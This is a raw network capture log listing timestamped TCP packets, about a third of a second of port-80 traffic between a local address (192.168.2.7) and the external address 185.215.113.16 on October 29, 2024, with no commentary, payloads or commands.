Oct 29, 2024 20:35:42.879123926 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.879123926 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.879123926 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.879873991 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879884958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879895926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879906893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879920006 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879934072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.879935980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.880014896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.918329954 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.918394089 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.918407917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.918472052 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.918472052 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.920494080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.920543909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.920555115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.920595884 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.948278904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.948359966 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.948363066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.948374033 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.948544025 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.948571920 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.948625088 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.950026989 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.955101967 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955173016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955184937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955334902 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.955352068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955451012 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955595016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955605984 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955617905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955756903 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.955756903 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.955925941 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.955936909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956123114 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.956139088 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956150055 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956161022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956249952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.956443071 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956454039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956465960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956476927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956490993 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.956520081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.956527948 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.957000971 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957012892 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957024097 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957035065 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957046986 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957060099 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957190990 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.957190990 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.957190990 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.957504988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957515955 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957528114 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.957600117 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.958611965 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958648920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958661079 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958713055 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.958767891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958838940 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958849907 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.958861113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959223986 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.959223986 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.959223986 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.959299088 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959311008 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959328890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959340096 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959573984 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.959647894 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959659100 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959671021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959688902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.959717989 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.959916115 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.960086107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960098982 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960151911 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960163116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960174084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960186005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960196972 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.960238934 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.960238934 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.960299015 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.960994005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.962189913 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.992208958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992280960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992291927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992439985 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.992571115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992583036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992657900 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.992809057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992820024 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.992943048 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.993120909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993138075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993149996 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993164062 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993175983 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993217945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.993217945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.993217945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.993868113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993880987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993894100 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993906975 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.993971109 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.993971109 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.994368076 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994379997 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994390011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994514942 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.994683027 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994695902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994707108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994729042 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994741917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994755983 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.994900942 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.994900942 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.995696068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995708942 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995718956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995731115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995747089 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995758057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995770931 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.995807886 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.995807886 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.995807886 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.995862961 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.033961058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.033991098 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.034110069 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.034181118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.035912037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.036082983 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.036094904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.036125898 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.036125898 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.036156893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.063677073 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.063734055 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.063745022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.063929081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.063929081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.070374012 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070461988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070488930 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070599079 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070609093 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070621014 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.070698023 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.070769072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070779085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070821047 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.070909977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070924044 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.070981979 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.071137905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071149111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071161032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071202993 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.071209908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.071456909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071469069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071480036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071593046 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.071794987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071805954 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.071887016 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072043896 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072053909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072065115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072079897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072092056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072103977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072336912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072336912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072336912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072689056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072700977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072712898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072777987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072777987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.072947979 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072961092 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.072972059 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073033094 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.073168039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073209047 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073221922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073412895 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.073412895 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.073826075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073910952 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.073921919 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074024916 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074039936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074085951 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074189901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074201107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074258089 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074378014 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074477911 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074487925 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074497938 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074568987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074568987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074707985 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074718952 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074811935 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.074867010 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.074876070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075010061 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075028896 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075030088 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.075040102 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075052023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075115919 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.075115919 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.075464964 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075476885 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075488091 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075500011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075510979 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.075731039 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.075942039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.076023102 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.076081991 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.076092958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.077596903 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.107789993 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.107817888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.107836008 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.107981920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.107992887 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108005047 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108002901 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108016968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108041048 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108154058 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108294010 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108388901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108438015 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108489990 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108500957 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108514071 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108536005 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108656883 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108710051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108721018 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108731031 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108772039 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.108958960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108968973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.108989000 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109003067 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109014034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109018087 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109025002 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109034061 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109045029 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109057903 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109076023 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109142065 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109530926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109543085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109561920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109572887 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109607935 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109673977 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109877110 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109888077 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109899044 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109909058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109920979 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109935045 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109947920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.109968901 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.109968901 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.110006094 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.110471010 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.110485077 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.110495090 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.110506058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.110548973 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.110548973 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.149388075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.149445057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.149466038 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.149502993 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.149555922 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.151561022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.151603937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.151614904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.151875019 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.179146051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.179189920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.179204941 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.179347038 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186032057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186084032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186096907 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186197996 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186204910 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186211109 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186223030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186316967 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186328888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186350107 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186366081 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186476946 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186604977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186618090 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186630011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186640978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186654091 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186834097 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186834097 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.186896086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186913013 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186925888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.186978102 CET	49873	80	192.168.2.7	185.215.113.16
